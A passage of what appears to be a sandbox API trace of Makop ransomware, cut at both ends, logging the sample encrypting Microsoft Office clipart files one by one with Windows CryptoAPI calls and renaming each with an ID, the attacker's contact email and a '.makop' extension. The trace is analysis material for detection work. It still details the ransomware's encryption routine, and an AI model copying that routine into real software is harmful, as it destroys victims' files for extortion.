phKey=0x6577aac*=0x48c7128) returned 1 [0142.096] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.096] GetProcessHeap () returned 0x48a0000 [0142.096] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.096] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.096] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.096] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.096] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.096] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.096] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.097] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.097] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.097] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a6c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a6c, lpOverlapped=0x0) returned 1 [0142.104] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a70, dwBufLen=0x1a70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a70) returned 1 [0142.105] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.105] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a70, lpOverlapped=0x0) returned 1 [0142.105] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.105] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.105] SetEndOfFile (hFile=0xf0) returned 1 [0142.111] GetProcessHeap () returned 0x48a0000 [0142.111] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.111] GetProcessHeap () returned 0x48a0000 [0142.112] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.112] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.114] CloseHandle (hObject=0xf0) returned 1 [0142.114] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1511, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_10.MID", cAlternateFileName="")) returned 1 [0142.114] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0142.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.116] GetProcessHeap () returned 0x48a0000 [0142.116] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.116] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.116] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.116] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0142.120] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.120] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.120] GetProcessHeap () returned 0x48a0000 [0142.120] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.120] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.120] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.121] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.121] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.121] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.121] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.122] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.122] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.122] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1511, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1511, lpOverlapped=0x0) returned 1 [0142.123] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1520, dwBufLen=0x1520 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1520) returned 1 [0142.123] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.123] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1520, lpOverlapped=0x0) returned 1 [0142.124] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.124] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.124] SetEndOfFile (hFile=0xf0) returned 1 [0142.133] GetProcessHeap () returned 0x48a0000 [0142.133] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.133] GetProcessHeap () returned 0x48a0000 [0142.133] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.133] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.133] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.135] CloseHandle (hObject=0xf0) returned 1 [0142.135] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb480d800, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb480d800, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x6140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00013_.WMF", cAlternateFileName="")) returned 1 [0142.135] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 63 [0142.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.136] GetProcessHeap () returned 0x48a0000 [0142.137] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.137] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.137] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.137] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.137] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.137] GetProcessHeap () returned 0x48a0000 [0142.137] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.137] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.137] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.137] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.142] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.142] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.142] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.142] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.142] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.143] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.143] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.143] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6140, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6140, lpOverlapped=0x0) returned 1 [0142.148] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6140, dwBufLen=0x6140 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6140) returned 1 [0142.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6140, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6140, lpOverlapped=0x0) returned 1 [0142.149] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.149] SetEndOfFile (hFile=0xf0) returned 1 [0142.155] GetProcessHeap () returned 0x48a0000 [0142.156] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.156] GetProcessHeap () returned 0x48a0000 [0142.156] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.156] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.158] CloseHandle (hObject=0xf0) returned 1 [0142.158] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed5100, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ed5100, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x411a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00014_.WMF", cAlternateFileName="")) returned 1 [0142.158] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF") returned 63 [0142.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.159] GetProcessHeap () returned 0x48a0000 [0142.159] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.159] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.159] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.159] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0142.164] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.165] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.165] GetProcessHeap () returned 0x48a0000 [0142.165] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.165] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.165] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.165] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.165] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.165] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.166] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.166] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.166] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.166] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x411a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x411a, lpOverlapped=0x0) returned 1 [0142.168] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4120, dwBufLen=0x4120 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4120) returned 1 [0142.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.168] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4120, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4120, lpOverlapped=0x0) returned 1 [0142.168] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x41f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.169] SetEndOfFile (hFile=0xf0) returned 1 [0142.175] GetProcessHeap () returned 0x48a0000 [0142.175] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.175] GetProcessHeap () returned 0x48a0000 [0142.175] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.175] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.178] CloseHandle (hObject=0xf0) returned 1 [0142.178] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00034_.WMF", cAlternateFileName="")) returned 1 [0142.178] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF") returned 63 [0142.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.185] GetProcessHeap () returned 0x48a0000 [0142.185] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.185] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.185] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 